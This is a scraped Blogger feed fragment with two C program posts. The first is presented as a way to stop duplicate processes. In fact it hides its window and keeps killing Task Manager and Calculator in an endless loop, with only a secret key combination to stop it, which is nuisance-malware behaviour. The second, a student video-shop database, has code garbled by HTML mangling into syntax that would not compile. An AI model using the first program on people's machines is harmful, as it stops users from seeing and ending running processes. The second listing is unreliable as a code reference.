src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-156169696085617536</id><published>2011-03-20T19:57:00.000-07:00</published><updated>2011-03-20T19:57:15.483-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>write a program to Stop double Process for start in C</title><content type='html'>/**********************************/&lt;br /&gt;//DoubleStopProcess.c&lt;br /&gt;//Compiler Dev-C++ 4.9.9.2&lt;br /&gt;/**********************************/&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;windowsx.h&gt;&lt;br /&gt;#include &lt;tlhelp32.h&gt;&lt;br /&gt;#include &lt;process.h&gt;&lt;br /&gt;&lt;br /&gt;#define Progy "taskmgr.exe"&lt;br /&gt;#define Master "calc.exe"&lt;br /&gt;&lt;br /&gt;int func_termi(void);&lt;br /&gt;int ID,XY,T3;&lt;br /&gt;&lt;br /&gt;int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,&lt;br /&gt;    LPSTR lpCmdLine, int CmdShow)&lt;br /&gt;{&lt;br /&gt;    char message[] = " This little progy is written&lt;br /&gt;"&lt;br /&gt;                     "  by&lt;br /&gt;"&lt;br /&gt;                     " !!! Cedrik Jurak 2006 !!!&lt;br /&gt;"&lt;br /&gt;                     "Press TAB+SHIFT+RETURN to get Taskmanager back!";&lt;br /&gt;&lt;br /&gt;    char title[] = "INFORMATION";&lt;br /&gt;&lt;br /&gt;    HWND nShow;&lt;br /&gt;    nShow = FindWindow("ConsoleWindowClass","ConsoleWindowClass");&lt;br /&gt;    ShowWindow(nShow,SW_HIDE);&lt;br /&gt;    MessageBox(0,message,title,MB_OK | MB_ICONINFORMATION);&lt;br /&gt;&lt;br /&gt;    sleep(100);&lt;br /&gt;&lt;br /&gt;    func_termi();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int func_termi(void)&lt;br /&gt;{&lt;br /&gt;    long code;&lt;br /&gt;    HANDLE Snap,Process;&lt;br /&gt;    PROCESSENTRY32 proc32;&lt;br /&gt;    BOOL ServiceName;&lt;br /&gt;&lt;br /&gt;    while(1)&lt;br /&gt;    {&lt;br /&gt;    sleep(100);&lt;br /&gt;    Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);&lt;br /&gt;    if(Snap==INVALID_HANDLE_VALUE)&lt;br /&gt;    {&lt;br /&gt;       MessageBox(0,"Sorry,no way!!!","Error",MB_OK | MB_ICONERROR);&lt;br /&gt;       exit(0);&lt;br /&gt;    }&lt;br /&gt;    proc32.dwSize=sizeof(PROCESSENTRY32);&lt;br /&gt;&lt;br /&gt;if((GetAsyncKeyState(VK_TAB)==-32767)&amp;&amp;(GetAsyncKeyState(VK_SHIFT)==-32767&lt;br /&gt;)&amp;&amp;(GetAsyncKeyState(VK_RETURN)==-32767))&lt;br /&gt;        {&lt;br /&gt;             MessageBox(0,"Okay is yours,right now!","Have a nice day&lt;br /&gt;!!!",MB_OK | MB_ICONEXCLAMATION);&lt;br /&gt;             return EXIT_SUCCESS;&lt;br /&gt;        }&lt;br /&gt;    while((Process32Next(Snap,&amp;proc32))==TRUE)&lt;br /&gt;    {&lt;br /&gt;    if(strcmp(proc32.szExeFile,Progy)==0){&lt;br /&gt;    ID=proc32.th32ProcessID;&lt;br /&gt;    Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);&lt;br /&gt;    XY=GetExitCodeProcess(Process,&amp;code);&lt;br /&gt;    Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);&lt;br /&gt;    T3=TerminateProcess(Process,code);{MessageBoxA(0," Done!&lt;br /&gt;&lt;br /&gt;Taskmgr.exe is stopped!!!","Info",MB_OK);}&lt;br /&gt;    }&lt;br /&gt;  else if(strcmp(proc32.szExeFile,Master)==0){&lt;br /&gt;  ID=proc32.th32ProcessID;&lt;br /&gt;  Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);&lt;br /&gt;  XY=GetExitCodeProcess(Process,&amp;code);&lt;br /&gt;  Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);&lt;br /&gt;  T3=TerminateProcess(Process,code);{MessageBoxA(0," Done!&lt;br /&gt; Calc.exe &lt;br /&gt;is&lt;br /&gt;stopped!!!","Info",MB_OK);}&lt;br /&gt;             }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-156169696085617536?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/156169696085617536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/write-program-to-stop-double-process.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/156169696085617536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/156169696085617536'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/write-program-to-stop-double-process.html' title='write a program to Stop double Process for start in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7530519336373330830</id><published>2011-03-15T11:19:00.001-07:00</published><updated>2011-03-15T11:19:56.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Program for video shop data base. (Mini Project in C)</title><content type='html'>/*&lt;br /&gt;Description: Its a program for video shop data base .&lt;br /&gt;It has 30 movies of english type.&lt;br /&gt;It stores the full data of a person&lt;br /&gt;using random filing.it can be used invideo selling shops.&lt;br /&gt;the steps used in it are self explainatory.&lt;br /&gt;*/&lt;br /&gt;&amp;nbsp;/******************************************************&lt;br /&gt;Project of&lt;br /&gt;software of movie shop(data base)&lt;br /&gt;made by&lt;br /&gt;pc zarrar ahmad&lt;br /&gt;pc hammad hafeez&lt;br /&gt;NUST&lt;br /&gt;BE TELECOM ENGG&lt;br /&gt;&lt;br /&gt;**********************************************************/&lt;br /&gt;#include iostream.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include stdio.h&lt;br /&gt;#include dos.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;#include string.h&lt;br /&gt;#include time.h&lt;br /&gt;#include fstream.h&lt;br /&gt;#include graphics.h&lt;br /&gt;#include math.h &amp;nbsp;//header files&lt;br /&gt;struct videoshop&lt;br /&gt;{&lt;br /&gt;char name[35];&lt;br /&gt;int id;&lt;br /&gt;char type[20];&lt;br /&gt;}film[30];&lt;br /&gt;struct customer&lt;br /&gt;{&lt;br /&gt;char status[15];&lt;br /&gt;char names[25];&lt;br /&gt;char tel[9]; //variable declaration&lt;br /&gt;char address[90]; //in terms of structures&lt;br /&gt;}person[20];&lt;br /&gt;&lt;br /&gt;struct person&lt;br /&gt;{&lt;br /&gt;char nam [20];&lt;br /&gt;char tele [20];&lt;br /&gt;char plc [20];&lt;br /&gt;int f_id ;&lt;br /&gt;char flm [20]; //for main data&lt;br /&gt;char f_tp [20];&lt;br /&gt;char dte [20];&lt;br /&gt;char tme [20];&lt;br /&gt;char stat [20];&lt;br /&gt;char stat1 [20];&lt;br /&gt;}p[30];&lt;br /&gt;struct sport&lt;br /&gt;{&lt;br /&gt;int check;&lt;br /&gt;char c_nam[20];&lt;br /&gt;char r_d [20];&lt;br /&gt;char r_t [20]; //for return movie&lt;br /&gt;}d[30];&lt;br /&gt;struct final&lt;br /&gt;{&lt;br /&gt;int arr ;&lt;br /&gt;char c_n[20];&lt;br /&gt;char date[20];&lt;br /&gt;char time [20];&lt;br /&gt;}per[30];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char op,status2[15]="not returned";&lt;br /&gt;char idate[9];char itime[9],rdate[9],rtime[9];&lt;br /&gt;char status1[15]="returned"; //variable declaration&lt;br /&gt;int idno[60],count[30],j=0;&lt;br /&gt;int c_no[20];&lt;br /&gt;int che=0;&lt;br /&gt;void s_customer_no() //function of search by customer no&lt;br /&gt;{&lt;br /&gt;clrscr();&lt;br /&gt;ifstream infile;&lt;br /&gt;infile.open("file.txt",ios::binary); //opens a file and reads&lt;br /&gt;infile.seekg(0,ios::end);&lt;br /&gt;int n= (int)infile.tellg()/ sizeof(person);&lt;br /&gt;cout&amp;lt;&amp;lt;"there are "&amp;lt;&lt;n&lt;&lt;" customers="" database\n";&amp;nbsp;&lt;="" p=""&gt;&lt;/n&lt;&lt;"&gt;&lt;br /&gt;int key;&lt;br /&gt;cout&amp;lt;&amp;lt;"enter the customer no u want to search(1 to "&amp;lt;&lt;n&lt;&lt;") ";&amp;nbsp;&lt;="" :="" p=""&gt;&lt;/n&lt;&lt;")&gt;&lt;br /&gt;cin&amp;gt;&amp;gt;key;&lt;br /&gt;int c1,c2;&lt;br /&gt;c1=0,c2=0;&lt;br /&gt;for (int j=0;j&lt;n;j++)&amp;nbsp;&lt; p=""&gt;&lt;/n;j++)&amp;nbsp;&lt;&gt;&lt;br /&gt;{&lt;br /&gt;if(j+1==key)&lt;br /&gt;{&lt;br /&gt;c1=1,c2=100;&lt;br /&gt;cout&amp;lt;&amp;lt;"\n Customer No : "&amp;lt;&lt;j+1;&amp;nbsp;&lt; p=""&gt;&lt;/j+1;&amp;nbsp;&lt;&gt;&lt;br /&gt;ifstream infile;&lt;br /&gt;infile.open("file.txt",ios::binary);&lt;br /&gt;infile.seekg(j*sizeof(person));&lt;br /&gt;infile.read((char*)&amp;amp;p[j],sizeof (person));&lt;br /&gt;cout&amp;lt;&amp;lt;"\n Customers Name : "&amp;lt;&lt;p[j].nam;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].nam;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Telephone No : "&amp;lt;&lt;p[j].tele;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].tele;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Address : "&amp;lt;&lt;p[j].plc;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].plc;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Film id : "&amp;lt;&lt;p[j].f_id;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].f_id;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Film name : "&amp;lt;&lt;p[j].flm;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].flm;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Film type : "&amp;lt;&lt;p[j].f_tp;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].f_tp;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Issue date : "&amp;lt;&lt;p[j].dte;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].dte;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Issue time : "&amp;lt;&lt;p[j].tme;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].tme;&amp;nbsp;&lt;&gt;int l1=0,l2=0;&lt;br /&gt;ifstream in;&lt;br /&gt;in.open("fold.txt",ios::binary);&lt;br /&gt;in.seekg(0,ios::end);&lt;br /&gt;int s=(int)in.tellg()/ sizeof(sport);&lt;br /&gt;for (int l=0;l&lt;s;l++)&amp;nbsp;&lt; p=""&gt;&lt;/s;l++)&amp;nbsp;&lt;&gt;&lt;br /&gt;{ ifstream in;&lt;br /&gt;in.open("fold.txt",ios::binary);&lt;br /&gt;in.seekg(l*sizeof(sport));&lt;br /&gt;in.read((char*)&amp;amp;d[l],sizeof (sport));&lt;br /&gt;if(((d[l].check-1)==j) &amp;amp;&amp;amp;strcmp(d[l].c_nam,p[j].nam)==0)&lt;br /&gt;{&lt;br /&gt;cout&amp;lt;&amp;lt;"\n Film status : "&amp;lt;&lt;p[j].stat1;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].stat1;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n Return Date : "&amp;lt;&lt;d[l].r_d;&amp;nbsp;&lt; p=""&gt;&lt;/d[l].r_d;&amp;nbsp;&lt;&gt;&lt;br /&gt;cout&amp;lt;&amp;lt;"\n Return Time : "&amp;lt;&lt;d[l].r_t;&amp;nbsp;&lt; p=""&gt;&lt;/d[l].r_t;&amp;nbsp;&lt;&gt;&lt;br /&gt;l1=2;l2=4;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if(l1==l2)&lt;br /&gt;cout&amp;lt;&amp;lt;"\n Film status : "&amp;lt;&lt;p[j].stat;&amp;nbsp;&lt; p=""&gt;&lt;/p[j].stat;&amp;nbsp;&lt;&gt;cout&amp;lt;&amp;lt;"\n search ends"&amp;lt;&lt;endl;&amp;nbsp;&lt; p=""&gt;&lt;/endl;&amp;nbsp;&lt;&gt;&lt;br /&gt;cout&amp;lt;&lt;endl;&amp;nbsp;&lt; p=""&gt;&lt;/endl;&amp;nbsp;&lt;&gt;&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if(c1==c2)&lt;br /&gt;cout&amp;lt;&amp;lt;"customer no not in data"&amp;lt;&lt;endl;&amp;nbsp;&lt; p=""&gt;&lt;/endl;&amp;nbsp;&lt;&gt;&lt;br /&gt;cout&amp;lt;&amp;lt;"press any key to return to main menu"&amp;lt;&lt;endl;&amp;nbsp;&lt; p=""&gt;&lt;/endl;&amp;nbsp;&lt;&gt;&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;void B_video() // gives the business of movies&lt;br /&gt;{&lt;br /&gt;clrscr();&lt;br /&gt;int vidno;&lt;br /&gt;cout&amp;lt;&amp;lt;"\nEach video carries a worth of Rs 20 "&amp;lt;&lt;endl;&amp;nbsp;&lt; p=""&gt;&lt;/endl;&amp;nbsp;&lt;&gt;&lt;br /&gt;cout&amp;lt;&amp;lt;"\n\tEnter the ID # of the video (1-30)";&lt;br /&gt;cin&amp;gt;&amp;gt;vidno;&lt;br /&gt;ifstream infile;&lt;br /&gt;infile.open("file.txt",ios::binary);&lt;br /&gt;infile.seekg(0,ios::end);&lt;br /&gt;int z= (int)infile.tellg()/ sizeof(person);&lt;br /&gt;int k=0,max=0;&lt;br /&gt;for (int j=0;j&lt;z;j++)&amp;nbsp;&lt; p=""&gt;&lt;/z;j++)&amp;nbsp;&lt;&gt;&lt;br /&gt;{&lt;br /&gt;ifstream infile;&lt;br /&gt;infile.open("file.txt",ios::binary); //reads the data from a given file&lt;br /&gt;infile.seekg(j*sizeof(person));&lt;br /&gt;infile.read((char*)&amp;amp;p[j],sizeof (person));&lt;br /&gt;if(strcmp(film[vidno-1].name,p[j].flm)==0)&lt;br /&gt;{&lt;br /&gt;k++;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;cout&amp;lt;&amp;lt;"\n\tThe film "&amp;lt;&lt;film[vidno-1].name&lt;&lt;" "&lt;&lt;="" \&lt;="" of="" p="" type=""&gt;&lt;/film[vidno-1].name&lt;&lt;"&gt;&lt;br /&gt;film[vidno-1].type&amp;lt;&amp;lt;" has got business of rupees "&amp;lt;&amp;lt; k*20;sleep(1);&lt;br /&gt;}&lt;br /&gt;void R_video() // function for returning a movie&lt;br /&gt;{&lt;br /&gt;clrscr();&lt;br /&gt;int j=0;&lt;br /&gt;int cid;&lt;br /&gt;char ch;&lt;br /&gt;char cnam[20];&lt;br /&gt;fflush(stdin);&lt;br /&gt;cout&amp;lt;&amp;lt;"\n\nEnter customer no : ";&lt;br /&gt;cin&amp;gt;&amp;gt;cid; // inputs customer data&lt;br /&gt;cout&amp;lt;&amp;lt;"\n\nEnter the customers name : ";
